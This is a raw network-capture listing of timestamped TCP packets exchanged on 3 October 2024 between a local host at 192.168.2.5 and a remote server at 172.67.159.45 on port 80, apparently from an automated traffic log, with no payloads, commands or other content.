Oct 3, 2024 05:02:58.410304070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410320044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410331011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410351992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410371065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410383940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410398006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410417080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410433054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410470009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410482883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410516024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410533905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410547972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410564899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410581112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410598040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410613060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410631895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410645008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410672903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410676956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410693884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410710096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410727024 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410742044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.410763025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.410782099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411142111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411191940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411195040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411223888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411241055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411256075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411276102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411288023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411303043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411320925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411339045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411353111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411370993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411402941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411410093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411437035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411453962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411470890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411489010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411503077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411524057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411559105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411571026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411602974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411621094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411634922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411649942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411668062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411688089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411700010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.411721945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.411746979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412085056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412117958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412148952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412156105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412182093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412188053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412208080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412214994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412230015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412246943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412276983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412277937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412298918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412311077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412319899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412343979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412368059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412375927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412391901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412409067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412430048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412442923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.412452936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.412493944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.498999119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499022961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499039888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499280930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499280930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499430895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499454021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499470949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499486923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499502897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499520063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499536037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499551058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499567986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499605894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499605894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499605894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499605894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499605894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499629974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499671936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499689102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499689102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499689102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499705076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499717951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499721050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499736071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499737024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499753952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.499758005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499778986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.499829054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500308990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500333071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500349045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500365019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500380993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500397921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500412941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500428915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500444889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500458956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500478983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500482082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500478983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500478983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500478983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500478983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500479937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500479937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500489950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500504971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500551939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500571012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500571012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500596046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.500955105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500979900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.500997066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501010895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501012087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501028061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501032114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501043081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501051903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501059055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501070976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501080990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501096010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501108885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501111031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501127005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501127958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501142025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501157999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501173019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501173973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501188040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.501210928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501231909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.501254082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.503802061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503818989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503833055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503848076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503859997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.503863096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503878117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503880978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.503892899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503907919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503922939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503948927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.503957033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503968954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.503972054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.503988028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504003048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504004002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504019022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504034042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504040003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504049063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504064083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504081964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504098892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504127026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504169941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504187107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504210949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504218102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504228115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504239082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504244089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504255056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504260063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504276037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504280090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504291058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504302979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504306078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504323006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504338026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504344940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504354000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504364967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504369020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504383087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504384995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504400015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.504421949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.504458904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505146980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505162954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505177021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505192041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505202055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505207062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505222082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505225897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505238056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505254030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505268097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505278111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505284071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505295992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505300999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505315065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505316019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505331993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505347013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505358934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505362034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.505399942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.505419970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506118059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506148100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506175995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506177902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506197929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506206036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506222963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506234884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506262064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506264925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506278992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506294966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506314039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506325960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506342888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506356001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506371021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506386042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506403923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506418943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.506433010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.506472111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591322899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591408014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591444969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591476917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591523886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591523886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591555119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591587067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591592073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591614008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591620922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591634989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591655970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.591676950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.591707945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592040062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592072964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592098951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592108965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592120886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592170954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592226982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592261076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592283010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592293978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592310905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592328072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592346907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592360973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592375994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592456102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592464924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592489958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592509031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592523098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592531919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592581034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592684031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592717886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592739105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592751026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592770100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592783928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592797995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592818022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592837095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592850924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592865944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592884064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.592900038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.592933893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593149900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593195915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593223095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593228102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593241930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593261957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593287945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593295097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593306065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593327999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593348026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593360901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593384027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593394041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593420029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593425989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593440056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593457937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593482018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593491077 CEST	80	49705	172.67.159.45	192.168.2.5
